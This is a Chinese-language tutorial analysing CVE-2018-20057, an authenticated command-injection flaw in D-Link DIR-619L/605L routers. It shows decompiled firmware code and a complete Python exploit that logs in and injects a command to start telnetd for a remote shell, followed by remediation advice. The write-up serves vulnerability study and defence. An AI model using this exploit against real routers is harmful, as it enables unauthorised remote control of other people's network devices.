路由器漏洞分析系列(3):CVE-2018-20057 DIR-619L&605L命令注入漏洞分析及复现
字数 1035 2025-08-27 12:33:37
CVE-2018-20057 DIR-619L&605L命令注入漏洞分析及复现教学文档
漏洞概述
漏洞编号: CVE-2018-20057
影响设备: D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B 2.12B1版本之前的设备
漏洞类型: 认证后命令注入
风险等级: 高危
漏洞位置: /bin/boa文件中的formSysCmd函数
漏洞原理
该漏洞存在于D-LINK路由器的Web管理界面中,具体表现为:
/bin/boa文件的formSysCmd函数存在后门- 攻击者在身份认证后可以通过访问
http://[ip]//goform/formSysCmd并指定sysCmd参数 - 系统直接执行用户提供的
sysCmd参数内容,导致远程命令注入
漏洞分析
反编译代码分析
通过Ghidra反编译/bin/boa文件,关键漏洞代码如下:
void formSysCmd(undefined4 uParm1) {
undefined4 uVar1;
char *pcVar2;
char acStack120[104];
uVar1 = websGetVar(uParm1, "submit-url", &DAT_004ac874);
// 获取post参数sysCmd,该参数可由用户控制
pcVar2 = (char *)websGetVar(uParm1, "sysCmd", &DAT_004ac874);
if (*pcVar2 != 0) {
// 将sysCmd写入栈中,并调用system执行
snprintf(acStack120, 100, "%s 2>&1 > %s", pcVar2, "/tmp/syscmd.log");
system(acStack120);
}
websRedirect(uParm1, uVar1);
return;
}
关键问题点
- 未验证的用户输入:直接从HTTP请求中获取
sysCmd参数,未进行任何过滤或验证 - 直接系统调用:使用
system()函数直接执行用户提供的命令 - 日志重定向:命令输出被重定向到
/tmp/syscmd.log,但这对安全性没有帮助
漏洞利用
利用条件
- 需要先通过身份认证(知道路由器管理用户名和密码)
- 能够访问路由器的Web管理界面
利用步骤
- 登录路由器管理界面:使用有效的用户名和密码
- 发送恶意请求:向
/goform/formSysCmd发送POST请求,包含sysCmd参数 - 执行任意命令:通过
sysCmd参数注入任意系统命令
Python利用代码
import requests
import sys
import struct
import base64
from pwn import *
context(arch='mips', endian='big', log_level='debug')
ip = '192.168.84.129'
port = 101
def login(user, password):
postData = {
'login_name': '',
'curTime': '1234',
'FILECODE': '',
'VER_CODE': '',
'VERIFICATION_CODE': '',
'login_n': user,
'login_pass': base64.b64encode(password),
}
response = requests.post('http://' + ip + '/goform/formLogin', data=postData)
def syscmd(cmd):
postData = {
'sysCmd': cmd,
'submit-url': '1234',
}
response = requests.post('http://' + ip + '/goform/formSysCmd', data=postData)
def inter():
p = remote(ip, port)
p.interactive()
if __name__ == "__main__":
login('admin', '12345') # 使用实际的路由器用户名和密码
syscmd('telnetd -p ' + str(port)) # 开启telnet服务
inter() # 连接telnet
注意事项
- 在QEMU模拟环境中,由于缺少
/dev下的pty设备,telnet连接可能无法正常工作 - 在实际设备上使用时,需要替换为真实的路由器用户名和密码
- 命令执行结果会被重定向到
/tmp/syscmd.log
修复建议
- 升级到DIR-619L Rev.B 2.06B1或更高版本
- 升级到DIR-605L Rev.B 2.12B1或更高版本
- 如果无法立即升级,建议:
- 修改默认管理密码
- 限制Web管理界面的访问来源
- 禁用不必要的服务
参考链接
- 原始漏洞分析
- 固件下载地址:
ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/
附录:相关漏洞
CVE-2018-20056:影响相同路由器运行环境的另一个漏洞